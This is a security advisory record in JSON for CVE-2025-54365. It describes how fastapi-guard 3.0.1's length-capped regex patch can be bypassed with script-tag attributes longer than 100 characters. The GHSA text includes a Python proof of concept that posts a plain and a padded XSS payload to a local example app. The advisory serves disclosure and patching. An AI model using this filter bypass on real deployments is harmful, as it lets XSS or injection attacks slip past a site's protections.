{"id":"CVE-2025-54365","aliases":["CVE-2025-54365","GHSA-rrf6-pxg8-684g","PYSEC-2026-1360"],"related":[],"kind":"vulnerability","state":"published","title":"fastapi-guard patch contains bypassable RegEx","summary":"fastapi-guard is a security library for FastAPI that provides middleware to control IPs, log requests, detect penetration attempts and more. In version 3.0.1, the regular expression patched to mitigate the ReDoS vulnerability by limiting the length of string fails to catch inputs that exceed this limit. This type of patch fails to detect cases in which the string representing the attributes of a <script> tag exceeds 100 characters. As a result, most of the regex patterns present in version 3.0.1 can be bypassed. This is fixed in version 3.0.2.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"fastapi-guard is a security library for FastAPI that provides middleware to control IPs, log requests, detect penetration attempts and more. In version 3.0.1, the regular expression patched to mitigate the ReDoS vulnerability by limiting the length of string fails to catch inputs that exceed this limit. This type of patch fails to detect cases in which the string representing the attributes of a <script> tag exceeds 100 characters. As a result, most of the regex patterns present in version 3.0.1 can be bypassed. This is fixed in version 3.0.2.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nThe regular expression patched to mitigate the ReDoS vulnerability by limiting the length of string fails to catch inputs that exceed this limit.\n\n### Details\n\nIn version 3.0.1, you can find a commit like the one in the link below, which was made to prevent ReDoS.\nhttps://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f\n\nThis commit mitigates the vulnerability by limiting the length of the input string, as shown in the example below.\n`r\"<script[^>]*>[^<]*<\\\\/script\\\\s*>\"` -> `<script[^>]{0,100}>[^<]{0,1000}<\\\\/script\\\\s{0,10}>`\n\nThis type of patch fails to catch cases where the string representing the attributes of a <script> tag exceeds 100 characters.\nTherefore, most of the regex patterns present in version 3.0.1 can be bypassed.\n\n### PoC\n\n1. clone the fastapi-guard repository\n2. Navigate to the examples directory and modify the main.py source code. Change the HTTP method for the root route from GET to POST.\n<img width=\"1013\" height=\"554\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cf93ea37-2fd7-4251-abb6-b55f88685f54\" />\n3. After that, set up the example app environment by running the docker-compose up command. Then, run the Python code below to verify that the two requests return different results.\n\n```python\nimport requests\n\nURL = \"<http://localhost:8000>\"\n\nobvious_payload = {\n    \"obvious\" : \"<script>alert(1);</script>\"\n}\nresponse = requests.post(url=URL, json=obvious_payload)\nprint(f\"[+] response of first request: {response.text}\")\n\nbypassed_payload = {\n    \"suspicious\" : f'<script id=\"i_can_bypass_regex_filtering{'a'*100}\">alert(1)</script>'\n}\n\nresponse = requests.post(url=URL, json=bypassed_payload)\nprint(f\"[+] response of second request: {response.text}\")\n\n```\n<img width=\"836\" height=\"112\" alt=\"image\" src=\"https://github.com/user-attachments/assets/11dcccb2-6179-44b1-9628-ae0a787e3bb7\" />\n\n### Impact\n\nDue to this vulnerability, most of the regex patterns can potentially be bypassed, making the application vulnerable to attacks such as XSS and SQL Injection.","format":"markdown","source":"ghsa"},{"lang":"es","text":"fastapi-guard es una librería de seguridad para FastAPI que proporciona middleware para controlar IP, registrar solicitudes, detectar intentos de penetración y más. En la versión 3.0.1, la expresión regular parcheada para mitigar la vulnerabilidad ReDoS limitando la longitud de la cadena no detecta las entradas que superan este límite. Este tipo de parche no detecta los casos en los que la cadena que representa los atributos de una etiqueta","source":"nvd"}],"published":"2025-07-23T15:31:12.000Z","modified":"2026-09-10T03:50:26.308Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:P","score":7.8,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:P","score":7.8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:P","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:P"}],"cwes":["CWE-20","CWE-185","CWE-1333"],"affected":[{"ranges":[{"version":">= 3.0.1, < 3.0.2","status":"affected"}],"vendor":"rennf93","product":"fastapi-guard","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"3.0.1","status":"affected","fixed":"3.0.2"}],"ecosystem":"PyPI","package":"fastapi-guard","purl":"pkg:pypi/fastapi-guard","source":"ghsa"},{"ranges":[{"status":"affected","version":"3.0.1"}],"vendor":"fastapi-guard","product":"fastapi_guard","cpe":"cpe:2.3:a:fastapi-guard:fastapi_guard:3.0.1:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"3.0.1","status":"affected","fixed":"3.0.2"}],"ecosystem":"PyPI","package":"fastapi-guard","purl":"pkg:pypi/fastapi-guard","source":"pysec"}],"references":[{"url":"https://github.com/rennf93/fastapi-guard/security/advisories/GHSA-rrf6-pxg8-684g","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/rennf93/fastapi-guard/commit/0829292c322d33dc14ab00c5451c5c138148035a","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54365","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/rennf93/fastapi-guard","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/fastapi-guard","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-rrf6-pxg8-684g","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2025-07-24T13:13:00.507Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-54365","url":"https://www.cve.org/CVERecord?id=CVE-2025-54365","licence":"CVE Terms of Use","modified":"2025-07-24T13:36:52.638Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-rrf6-pxg8-684g","url":"https://github.com/advisories/GHSA-rrf6-pxg8-684g","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:26.308Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-54365","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54365","licence":"Public domain","modified":"2026-06-17T09:39:55.910Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-1360","url":"https://osv.dev/vulnerability/PYSEC-2026-1360","licence":"CC-BY-4.0","modified":"2026-07-07T17:47:35.923Z"}],"updatedAt":"2026-11-25T22:59:01.622Z","epss":{"score":0.00935,"percentile":0.6181,"date":"2026-12-01T12:00:22.000Z"}}